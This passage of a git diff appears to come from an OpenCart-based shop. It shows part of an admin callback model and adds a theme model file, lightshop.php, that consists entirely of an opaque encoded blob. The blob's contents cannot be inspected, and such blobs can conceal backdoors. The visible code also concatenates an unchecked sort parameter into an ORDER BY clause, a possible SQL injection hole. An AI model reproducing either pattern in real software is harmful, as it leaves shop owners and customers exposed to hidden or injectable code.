+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY call_id";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $callback_data = $this->cache->get('callback');
+
+ if (!$callback_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "callback ORDER BY call_id");
+
+ $callback_data = $query->rows;
+
+ $this->cache->set('callback', $callback_data);
+ }
+
+ return $callback_data;
+ }
+ }
+
+ public function getManufacturerStores($manufacturer_id) {
+ $manufacturer_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "manufacturer_to_store WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $manufacturer_store_data[] = $result['store_id'];
+ }
+
+ return $manufacturer_store_data;
+ }
+
+ public function getTotalManufacturersByImageId($image_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "manufacturer WHERE image_id = '" . (int)$image_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCallbacks() {
+
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "callback");
+
+ return $query->row['total'];
+ }
+}
+?>
diff --git a/public/admin/model/extension/theme/lightshop.php b/public/admin/model/extension/theme/lightshop.php
new file mode 100644
index 0000000..0625aa9
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshop.php
@@ -0,0 +1,805 @@
+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
